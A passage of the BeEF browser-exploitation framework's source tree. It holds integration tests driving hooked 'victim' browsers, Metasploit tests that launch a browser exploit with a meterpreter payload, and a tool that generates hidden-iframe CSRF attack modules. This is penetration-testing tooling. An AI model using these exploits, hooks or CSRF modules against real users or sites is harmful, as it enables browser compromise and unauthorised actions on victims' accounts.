check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert(result['count']) assert(result['hosts']) assert_not_equal(0, result['count']) result['hosts'].each do |host| assert_equal(@@hb_session, host['hooked_browser_id']) end end # Tests GET /api/network/hosts/:sessionid handler with invalid input def test_get_hosts_invalid_session session_id = 'z' rest_response = nil assert_nothing_raised do rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{session_id}", :params => {:token => @@token}) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert(result['count']) assert_equal(0, result['count']) end # Tests GET /api/network/host/:id handler with valid input def test_get_host_valid_id id = 1 rest_response = nil assert_nothing_raised do rest_response = RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token}) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_equal(1, result.length) assert_equal('localhost', result.first['hostname']) end # Tests GET /api/network/host/:id handler with invalid input def test_get_hosts_invalid_id id = 'z' assert_raise RestClient::ResourceNotFound do RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token}) end end # Tests GET /api/network/services handler def test_get_all_services rest_response = RestClient.get("#{RESTAPI_NETWORK}/services?token=#{@@token}", @@headers) check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert(result['count']) assert(result['services']) assert_not_equal(0, result['count']) end # Tests GET /api/network/services/:sessionid handler with valid input def test_get_services_valid_session rest_response = nil assert_nothing_raised do rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{@@hb_session}", :params => {:token => @@token}) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert(result['count']) assert(result['services']) assert_not_equal(0, result['count']) result['services'].each do |service| assert_equal(@@hb_session, service['hooked_browser_id']) end end # Tests GET /api/network/services/:sessionid handler with invalid input def test_get_services_invalid_session session_id = 'z' rest_response = nil assert_nothing_raised do rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{session_id}", :params => {:token => @@token}) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert(result['count']) assert_equal(0, result['count']) end # Tests GET /api/network/service/:id handler with valid input def test_get_service_valid_id id = 1 rest_response = nil assert_nothing_raised do rest_response = RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token}) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_equal(1, result.length) assert_not_nil(result.first['type']) end # Tests GET /api/network/service/:id handler with invalid input def test_get_services_invalid_id id = 'z' assert_raise RestClient::ResourceNotFound do RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token}) end end private # Standard assertions for verifying response from RESTful API def check_rest_response(response) assert_not_nil(response.body) assert_equal(200, response.code) end end ================================================ FILE: test/integration/tc_proxy.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'rest-client' require 'json' require '../common/test_constants' require '../common/beef_test' class TC_Proxy < Test::Unit::TestCase class << self def startup $root_dir = '../../' $:.unshift($root_dir) # load proxy config require 'core/loader' BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml')) config = BeEF::Core::Configuration.instance config.load_extensions_config @@proxy_config = config.get('beef.extension.proxy') @@proxy = "#{@@proxy_config['address']}:#{@@proxy_config['port']}" # set up active record ActiveRecord::Base.establish_connection( database: "beef.db" adapter: "sqlite3" ) # set headers for rest requests @@headers = { :content_type => :json, :accept => :json } # login and get api token json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@headers) result = JSON.parse(response.body) @@token = result['token'] # create hooked browser and get session id @@victim = BeefTest.new_victim sleep 5.0 response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}} result = JSON.parse(response.body) @@hb_session = result["hooked-browsers"]["online"]["0"]["session"] # set proxy to use hooked browser result = set_target_zombie(@@hb_session) end def shutdown @@victim.driver.browser.close $root_dir = nil end # set zombie to be used as proxy def set_target_zombie(session_id) json = { :hb_id => session_id.to_s }.to_json response = RestClient.post("#{RESTAPI_PROXY}/setTargetZombie?token=#{@@token}", json, @@headers) result = JSON.parse(response.body) return result['success'] end end def test_get_url_same_origin assert_nothing_raised do url = "http://#{VICTIM_DOMAIN}:3000/demos/secret_page.html" cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', "#{@@proxy}", '-X', 'GET', '-isk', "#{url}"] res = IO.popen(cmd, 'r+').read assert_not_empty(res) assert_not_nil(res) raise "Proxy request failed - Unexpected response" unless res =~ /Secret Page/ end end def test_post_url_same_origin assert_nothing_raised do url = "http://#{VICTIM_DOMAIN}:3000/demos/secret_page.html" cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', "#{@@proxy}", '-X', 'POST', '-isk', "#{url}", '-d', 'beef=beef'] res = IO.popen(cmd, 'r+').read assert_not_empty(res) assert_not_nil(res) raise "Proxy request failed - Unexpected response" unless res =~ /Secret Page/ end end def test_get_url_cross_origin assert_nothing_raised do url = "http://#{ATTACK_DOMAIN}:3000/demos/plain.html" cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', "#{@@proxy}", '-X', 'GET', '-isk', "#{url}"] res = IO.popen(cmd, 'r+').read assert_not_empty(res) assert_not_nil(res) raise "Proxy request failed - Unexpected response #{@@proxy}" unless res =~ /ERROR: Cross Domain Request/ end end end ================================================ FILE: test/integration/tc_social_engineering_rest.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'rest-client' require 'json' require '../common/test_constants' # @todo RESTful API for the social engineering extension lacks some serious test coverage. class TC_SocialEngineeringRest < Test::Unit::TestCase class << self # Login to API before performing any tests def startup json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json @@headers = {:content_type => :json, :accept => :json} response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@headers) result = JSON.parse(response.body) @@token = result['token'] $root_dir = '../../' $:.unshift($root_dir) require 'core/loader' BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml')) BeEF::Core::Configuration.instance.load_extensions_config @@config = BeEF::Core::Configuration.instance end def shutdown $root_dir = nil end end # Tests DNS spoofing of cloned webpages def test_1_dns_spoof url = 'https://beefproject.com' mount = '/beefproject' dns_spoof = true json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json domain = url.gsub(%r{^https?://}, '') response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}", json, @@headers) check_response(response) # Send DNS request to server to verify that a new rule was added dns_address = @@config.get('beef.extension.dns.address') dns_port = @@config.get('beef.extension.dns.port') dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t", "A", "+short", "#{domain}"], 'r+').read.strip! foundmatch = false # Iterate local IPs (excluding loopbacks) to find a match to the 'dig' # output assert_block do Socket.ip_address_list.each { |i| if !(i.ipv4_loopback? || i.ipv6_loopback?) return true if i.ip_address.to_s.eql?(dig_output.to_s) end } end # assert(foundmatch) end private # Assertions for verifying a response from the RESTful API def check_response(response) assert_not_nil(response.body) assert_equal(200, response.code) result = JSON.parse(response.body) assert(result['success']) assert(result['mount']) end end ================================================ FILE: test/integration/tc_webrtc_rest.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'rest-client' require 'json' require '../common/test_constants' require '../common/beef_test' class TC_WebRTCRest < Test::Unit::TestCase class << self # Login to API before performing any tests - and fetch config too def startup json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json @@headers = {:content_type => :json, :accept => :json} response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@headers) result = JSON.parse(response.body) @@token = result['token'] $root_dir = '../../' $:.unshift($root_dir) require 'core/loader' BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml')) BeEF::Core::Configuration.instance.load_extensions_config @@config = BeEF::Core::Configuration.instance @@activated = @@config.get('beef.extension.webrtc.enable') || false @@victim1 = BeefTest.new_victim @@victim2 = BeefTest.new_victim # puts "WebRTC Tests beginning" sleep 8.0 # Fetch last online browsers' ids rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { :token => @@token}} result = JSON.parse(rest_response.body) browsers = result["hooked-browsers"]["online"] browsers.each_with_index do |elem, index| if index == browsers.length - 1 @@victim2id = browsers["#{index}"]["id"].to_s end if index == browsers.length - 2 @@victim1id = browsers["#{index}"]["id"].to_s end end end def shutdown $root_dir = nil @@victim1.driver.browser.close @@victim2.driver.browser.close end end def test_1_webrtc_check_for_two_hooked_browsers return unless @@activated rest_response = nil assert_nothing_raised do rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { :token => @@token}} end check_rest_response(rest_response) result = JSON.parse(rest_response.body) browsers = result["hooked-browsers"]["online"] assert_not_nil browsers assert_operator browsers.length, :>=, 2 end def test_2_webrtc_establishing_p2p return unless @@activated rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/go?token=#{@@token}", {:from => @@victim1id, :to => @@victim2id, :verbose => "true"}.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_equal true, result["success"] sleep 30.0 rest_response = nil assert_nothing_raised do rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => { :token => @@token}} end check_rest_response(rest_response) result = JSON.parse(rest_response.body) loghitcount = 0 result["logs"].reverse.each {|l| # Using free-space matching mode /x below to wrap regex. # therefore need to escape spaces I want to check, hence the \ regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\ message\ from\ Browser:(#{@@victim1id}|#{@@victim2id}) :\ ICE\ Status:\ connected/x) loghitcount += 1 if (not regex.match(l["event"]).nil?) and (l["type"].to_s.eql?("WebRTC")) } assert_equal 2, loghitcount end def test_3_webrtc_send_msg # assumes test 2 has run return unless @@activated rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}", {:from => @@victim1id, :to => @@victim2id, :message => "RTC test message"}.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_equal true, result["success"] sleep 10.0 rest_response = nil assert_nothing_raised do rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => { :token => @@token}} end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_block do result["logs"].reverse.each {|l| # Using free-space matching mode /x below to wrap regex. # therefore need to escape spaces I want to check, hence the \ regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\ message\ from\ Browser: (#{@@victim1id}|#{@@victim2id}) :\ RTC\ test\ message/x) return true if (not regex.match(l["event"]).nil?) and (l["type"].to_s.eql?("WebRTC")) } end end def test_4_webrtc_stealthmode # assumes test 2 has run return unless @@activated # Test our two browsers are still online rest_response = nil assert_nothing_raised do rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { :token => @@token}} end check_rest_response(rest_response) result = JSON.parse(rest_response.body) online = result["hooked-browsers"]["online"] assert_block do online.each {|hb| return true if hb[1]["id"].eql?(@@victim1id) } end assert_block do online.each {|hb| return true if hb[1]["id"].eql?(@@victim2id) } end # Command one of the browsers to go stealth rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}", {:from => @@victim1id, :to => @@victim2id, :message => "!gostealth"}.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_equal true, result["success"] sleep 40.0 #Wait until that browser is offline. # Test that the browser is now offline rest_response = nil assert_nothing_raised do rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { :token => @@token}} end check_rest_response(rest_response) result = JSON.parse(rest_response.body) offline = result["hooked-browsers"]["offline"] assert_block do offline.each {|hb| return true if hb[1]["id"].eql?(@@victim2id) } end # Test that we can bring it back online (which implies comms are still ok) rest_response = nil assert_nothing_raised do rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}", {:from => @@victim1id, :to => @@victim2id, :message => "!endstealth"}.to_json, @@headers) end check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert_equal true, result["success"] sleep 10.0 # Wait until browser comes back # Test that the browser is now online rest_response = nil assert_nothing_raised do rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { :token => @@token}} end check_rest_response(rest_response) result = JSON.parse(rest_response.body) online = result["hooked-browsers"]["online"] assert_block do online.each {|hb| return true if hb[1]["id"].eql?(@@victim2id) } end end def test_5_webrtc_execcmd # assumes test 2 has run return unless @@activated # end private # Standard assertions for verifying response from RESTful API def check_rest_response(response) assert_not_nil(response.body) assert_equal(200, response.code) end end ================================================ FILE: test/integration/ts_integration.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Common lib for BeEF tests require '../common/ts_common' require 'capybara' require 'capybara/rspec' Capybara.run_server = false # we need to run our own BeEF server require 'selenium-webdriver' require './check_environment' # Basic log in and log out tests require './tc_debug_modules' # RESTful API tests (as well as debug modules) require './tc_login' # Basic log in and log out tests require './tc_proxy' # Basic tests for Proxy extension require './tc_network_rest' # Basic tests for Network extension RESTful API interface require '../api/1333_auth_rate' # API rate testing issue #1333' # Experimental extensions #require './tc_dns_rest' # Basic tests for DNS RESTful API interface #require './tc_webrtc_rest' # Basic tests for WebRTC extension #require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface class TS_BeefIntegrationTests def self.suite suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite") suite << TC_CheckEnvironment.suite suite << TC_Login.suite suite << TC_DebugModules.suite suite << TC_Proxy.suite suite << TC_NetworkRest.suite # issue raised suite << TC_1333_auth_rate.suite # Tests for experimental extensions #suite << TC_SocialEngineeringRest.suite #suite << TC_Jools.suite #suite << TC_DnsRest.suite #suite << TC_WebRTCRest.suite suite end end Test::Unit::UI::Console::TestRunner.run(TS_BeefIntegrationTests) ================================================ FILE: test/thirdparty/msf/unit/BeEF.rc ================================================ load msgrpc ServerHost=127.0.0.1 Pass=abc123 ================================================ FILE: test/thirdparty/msf/unit/tc_metasploit.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'pp' class TC_Metasploit < Test::Unit::TestCase def setup $root_dir="../../../../" $:.unshift File.join( %w{ ../../../../ } ) require 'core/loader' end def teardown $root_dir = nil end # # Test the api is functional # def test_requires assert_nothing_raised do require 'msfrpc-client' end end # # Load the config for testing # def load_config BeEF::Core::Configuration.new("#{$root_dir}/config.yaml") BeEF::Core::Configuration.instance.load_extensions_config @config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') end # Create an api instance def new_api load_config require 'extensions/metasploit/extension.rb' @api = BeEF::Extension::Metasploit::RpcClient.instance @api.unit_test_init() end # # Verify that the config file has required information # def test_config load_config assert(@config.key?('user')) assert(@config.key?('pass')) assert(@config.key?('port')) assert(@config.key?('uri')) assert(@config.key?('callback_host')) assert(@config.key?('autopwn_url')) end # # Verify that we can create an API instance # def test_api_create assert_nothing_raised do new_api end end # # Verify that the login is working # def test_login new_api assert(@api.login) end def test_call new_api @api.login assert(@api.call('core.version')) end def test_browser_exploits new_api @api.login exploits = nil assert_nothing_raised do exploits = @api.browser_exploits() end assert(exploits.length > 5) end def test_exploit_info new_api @api.login info = nil assert_nothing_raised do info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom') end assert( info['name'].nil? != true) end def test_get_options new_api @api.login info = nil assert_nothing_raised do info = @api.get_options('windows/dcerpc/ms03_026_dcom') end assert( info['RHOST'].nil? != true) end def test_payloads new_api @api.login payloads = nil assert_nothing_raised do payloads = @api.payloads end assert( payloads.length > 5 ) end def test_launch_exploit new_api @api.login opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080} ret = nil assert_nothing_raised do ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts) end assert(ret['job_id'] != nil ) end def test_launch_autopwn new_api @api.login ret = nil assert_nothing_raised do ret = @api.launch_autopwn end assert(ret['job_id'] != nil ) end end ================================================ FILE: test/thirdparty/msf/unit/ts_metasploit.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Common lib for BeEF tests require '../../../common/ts_common' begin require 'msfrpc-client' rescue LoadError puts "The following instruction failed: require 'msfrpc-client'" puts "Please run: sudo gem install msfrpc-client" exit end require './check_environment' require './tc_metasploit' class TS_BeefTests def self.suite suite = Test::Unit::TestSuite.new(name="BeEF Metasploit Test Suite") suite << TC_CheckEnvironment.suite suite << TC_Metasploit.suite return suite end end Test::Unit::UI::Console::TestRunner.run(TS_BeefTests) ================================================ FILE: tools/bump-version.sh ================================================ #!/usr/bin/env bash if [[ -z "${1}" || -z "${2}" ]]; then echo "Error: missing arguments" exit 1 fi if [[ ! -f beef || ! -f VERSION ]]; then echo "Error: must be run from within the BeEF root directory" exit 1 fi echo "Updating version ${1} to ${2}" git checkout -b "release/${2}" sed -i '' -e "s/$1/$2/g" VERSION sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package.json sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package-lock.json sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" config.yaml git add VERSION package.json package-lock.json config.yaml git commit -m "Version bump ${2}" git push --set-upstream origin "release/${2}" git push ================================================ FILE: tools/csrf_to_beef/csrf_to_beef ================================================ #!/usr/bin/env ruby $VERBOSE = false $VERSION = '0.0.3' # # @note Ruby version check # if RUBY_VERSION =~ /^1\.[0-8]/ puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or newer." exit 1 end require 'uri' require 'getoptlong' require 'fileutils' require 'htmlentities' require 'cgi' require './lib/output' require './lib/module' # # @note usage # def usage puts "CSRF to BeEF module tool v#{$VERSION}, create a BeEF CSRF module from file or URL." puts puts "Usage: ./csrf_to_beef [options] --name <--url=URL|--file=FILE>" puts puts "Options:" puts " -h, --help Help" puts " -v, --verbose Verbose output" puts " -n, --name NAME BeEF module name" puts " -u, --url URL CSRF URL" puts " -m, --method METHOD CSRF HTTP method (GET/POST)" puts " -d, --post-data DATA CSRF HTTP POST data" puts " -f, --file FILE Burp CSRF PoC file" puts puts "Example Usage:" puts puts " CSRF URL:" puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html?param=value\"" puts puts " CSRF URL (POST):" puts " ./csrf_to_beef --name \"example csrf\" --url \"http://example.com/index.html\" --method POST --post-data \"param1=value¶m2=value\"" puts puts " Burp Suite CSRF PoC file:" puts " ./csrf_to_beef --name \"example csrf\" --file sample.html" puts exit 1 end usage if ARGV.size < 2 opts = GetoptLong.new( ['-h', '--help', GetoptLong::NO_ARGUMENT], ['-v', '--verbose', GetoptLong::NO_ARGUMENT], ['-n', '--name', GetoptLong::REQUIRED_ARGUMENT], ['-u', '--url', GetoptLong::REQUIRED_ARGUMENT], ['-m', '--method', GetoptLong::REQUIRED_ARGUMENT], ['-d', '--post-data', GetoptLong::REQUIRED_ARGUMENT], ['-f', '--file', GetoptLong::REQUIRED_ARGUMENT] ) # # @note handle args # def main(opts) mname = nil fname = nil url = nil method = 'GET' postdata = nil opts.each do |opt, arg| case opt when '-f', '--file' fname=arg when '-u', '--url' url=arg when '-m', '--method' method=arg.upcase when '-d', '--post-data' postdata=arg when '-n', '--name' mname=arg when '-h', '--help' usage when '-v', '--verbose' $VERBOSE = true end end if mname.nil? print_error "You must specify module '--name' (-h for help)" exit 1 end if fname && url print_error "Conflicting input types '--file' and '--url'. (-h for help)" elsif fname.nil? && url.nil? print_error "You must specify '--file' or '--url'. (-h for help)" exit 1 end @class_name = mname.gsub(/[^\w]/, '_').downcase csrf_module = get_options_from_burp_file(fname, mname) unless fname.nil? csrf_module = get_options_from_url(url, method, postdata, mname) unless url.nil? write_module(csrf_module[:target_url], csrf_module[:method], csrf_module[:enctype], csrf_module[:options]) end # # @note generate BeEF module from URL # def get_options_from_url(url, method, postdata, mname) # validate HTTP method if method !~ /^(GET|POST)$/i print_error "Invalid method: #{method} - Method must be 'GET' or 'POST'" exit 1 end # parse module options options = [] if method =~ /POST/i target_url = url enctype = nil input_name = nil input_value = nil # parse POST params as module options CGI::parse(URI.parse("https://beefproject.com/?#{postdata}").query).each do |k, v| if k == 'submit' print_error "Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117" exit 1 end input_name = HTMLEntities.new.decode(k) input_value = HTMLEntities.new.decode(v.first) unless input_name.nil? options << [input_name, input_value] end end elsif method =~ /GET/i target_url = URI.parse(url).to_s[/[^\?]+/] # drop query string input_name = nil input_value = nil # parse query string as module options CGI::parse(URI.parse(url).query).each do |k, v| if k == 'submit' print_error "Invalid GET parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117" exit 1 end input_name = HTMLEntities.new.decode(k) input_value = HTMLEntities.new.decode(v.first) unless input_name.nil? options << [input_name, input_value] end end end return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options} end # # @note generate BeEF module from Burp PoC file # def get_options_from_burp_file(fname, mname) # read PoC file print_status "Reading PoC from '#{fname}'" begin f = File.open(fname) html = f.readlines() rescue => e print_error "Could not read PoC file - #{e.message}" exit 1 end # parse PoC file if html.to_s =~ /var xhr = new XMLHttpRequest/ print_error "Could not parse PoC file - XMLHttpRequest is not yet supported." exit 1 elsif html.to_s !~ /
    target_url, :method=>method, :enctype=>enctype, :options=>options} end # # @note write module files to disk # def write_module(target_url, method='GET', enctype, options) # write module directory print_status "Making directory '#{@class_name}'" unless File.directory?(@class_name) FileUtils.mkdir_p(@class_name) end # generate module config file and write 'config.yaml' print_status "Generating module config file '#{@class_name}/config.yaml'" cfg_file = ConfigFile.new.generate(@class_name) print_debug cfg_file File.open("#{@class_name}/config.yaml", 'w') { |file| file.write(cfg_file) } # generate module class file and write 'module.rb' print_status "Generating module class file '#{@class_name}/module.rb'" mod_file = ModuleFile.new.generate(@class_name, target_url, options) print_debug mod_file File.open("#{@class_name}/module.rb", 'w') { |file| file.write(mod_file) } # generate module javacript file and write 'command.js' print_status "Generating module javascript file '#{@class_name}/command.js'" com_file = CommandFile.new.generate(@class_name, method, enctype, options) print_debug com_file File.open("#{@class_name}/command.js", 'w') { |file| file.write(com_file) } print_good "Complete!" print_status "Now copy the '#{@class_name}' directory to the BeEF 'modules/exploits/' directory." print_debug "cp \"#{@class_name}\" ../../modules/exploits/ -R" end main(opts) ================================================ FILE: tools/csrf_to_beef/lib/module.rb ================================================ # # @note Module configuration file 'config.yaml' # class ConfigFile def generate(class_name) return <<-EOF # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: #{class_name}: enable: true category: "Exploits" name: "#{class_name.capitalize}" description: "#{class_name.capitalize}" authors: ["BeEF"] target: unknown: ["ALL"] EOF end end # # @note Module class file 'module.rb' # class ModuleFile def generate(class_name, target_url, options) options_rb = "" options.to_enum.with_index(1).each do |input, input_index| options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => %q(#{input[0]}), 'value' => %q(#{input[1]}) },\n" end return <<-EOF # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class #{class_name.capitalize} < BeEF::Core::Command def self.options return [ { 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => %q(#{target_url}) }, #{options_rb.chomp} ] end def post_execute save({'result' => @datastore['result']}) end end EOF end end # # @note Module javascript command file 'command.js' # class CommandFile def generate(class_name, method, enctype, options) options_js = "" options.to_enum.with_index(1).each do |input, input_index| options_js += " {'type':'hidden', 'name':'#{input.first.to_s.gsub(/'/, "\\'")}', 'value':'<%= CGI.escape(@input_#{input_index}) %>' },\n" end return <<-EOF // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var target_url = '<%= @target_url.to_s.gsub(/'/, "\\\\'") %>'; var timeout = 15; exploit = function() { var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, '#{method.to_s.gsub(/'/, "\\'")}', '#{enctype.to_s.gsub(/'/, "\\'")}', [ #{options_js.chomp} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); } cleanup = function() { try { document.body.removeChild(#{class_name}_iframe_<%= @command_id %>); } catch(e) { beef.debug("Could not remove iframe: " + e.message); } } setTimeout("cleanup()", timeout*1000); try { exploit(); } catch(e) { beef.debug("Exploit failed: " + e.message); } }); EOF end end ================================================ FILE: tools/csrf_to_beef/lib/output.rb ================================================ # # @note Add color to String object # class String def colorize(color_code) "\e[#{color_code}m#{self}\e[0m" end {:red => 31, :green => 32, :yellow => 33, :blue => 34, :pink => 35, :cyan => 36, :white => 37 }.each { |color, code| define_method(color) { colorize(code) } } end # # @note handle output # def print_status(msg='') puts '[*] '.blue + msg end def print_error(msg='') puts '[!] '.red + "Error: #{msg}" end def print_good(msg='') puts '[+] '.green + msg end def print_warning(msg='') puts '[!] '.yellow + "Warning: #{msg}" end def print_debug(msg='') puts "#{msg}" if $VERBOSE end ================================================ FILE: tools/csrf_to_beef/sample.html ================================================
    ================================================ FILE: tools/maintenance/copyright_update.rb ================================================ require 'yaml' require 'logger' # Set up logging @log = Logger.new(STDOUT) @log.level = Logger::INFO log_file = File.open('copyright_update.log', 'w') @log_file_logger = Logger.new(log_file) @log_file_logger.level = Logger::INFO def update_copyright(file_path, copyright_pattern, new_copyright) @log.info("Processing file: #{file_path}") @log_file_logger.info("Processing file: #{file_path}") content = File.read(file_path) if content.empty? @log.info("File is empty, no copyright update needed: #{file_path}") @log_file_logger.info("File is empty, no copyright update needed: #{file_path}") elsif content.match?(copyright_pattern) updated_content = content.gsub(copyright_pattern, "\\1#{new_copyright}") if updated_content != content File.write(file_path, updated_content) @log.info("Updated copyright in #{file_path}") @log_file_logger.info("Updated copyright in #{file_path}") end else @log.warn("Copyright pattern not found in #{file_path}") @log_file_logger.warn("Copyright pattern not found in #{file_path}") end rescue => e @log.error("Error processing file #{file_path}: #{e.message}") @log_file_logger.error("Error processing file #{file_path}: #{e.message}") end # Regex to match "Copyright (c) 2006-YYYY" or "(C) 2006-YYYY" # Captures the prefix so we can replace only the year part if needed, # or better yet, replace the whole match but preserve the "Copyright (c)" part. copyright_pattern = /((?:Copyright \(c\) |\(C\) )2006-)20\d{2}/ new_year = '2026' Dir.glob("../../**/*.{rb,js,yaml,html,md,txt,css,c,nasm,java,php,as}").each do |file| next if File.basename(file) == 'copyright_update.rb' update_copyright(file, copyright_pattern, new_year) end # Handle files without extensions, excluding copyright_update.rb Dir.glob("../../**/*").reject { |f| File.directory?(f) || File.extname(f) != '' || File.basename(f) == 'copyright_update.rb' }.each do |file| update_copyright(file, copyright_pattern, new_year) end @log.info("Copyright update process completed.") @log_file_logger.info("Copyright update process completed.") log_file.close ================================================ FILE: tools/rest_api_examples/autorun ================================================ #!/usr/bin/env ruby # browser-details - Example BeEF RESTful API script # Retrieves all Autorun rules, adds a rule, runs it on all online browsers, then deletes it # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version print_status("Retrieving Autorun rules") rules = @api.autorun_rules print_debug(rules) print_status("Adding a rule") res = @api.autorun_add_rule({ "name": "Say Hello", "author": "REST API", "modules": [ { "name": "alert_dialog", "options": { "text":"Hello from REST API" } } ], "execution_order": [0], "execution_delay": [0] }) print_debug(res) rule_id = res['rule_id'] unless rule_id.nil? print_status "Running rule #{rule_id} on all browsers" res = @api.autorun_run_rule_on_all_browsers(rule_id) print_debug(res) print_status("Deleting rule #{rule_id}") res = @api.autorun_delete_rule(rule_id) print_debug(res) end ================================================ FILE: tools/rest_api_examples/browser-details ================================================ #!/usr/bin/env ruby # browser-details - Example BeEF RESTful API script # Retrieves browser details and logs for all online hooked browsers # Refer to the wiki for info: 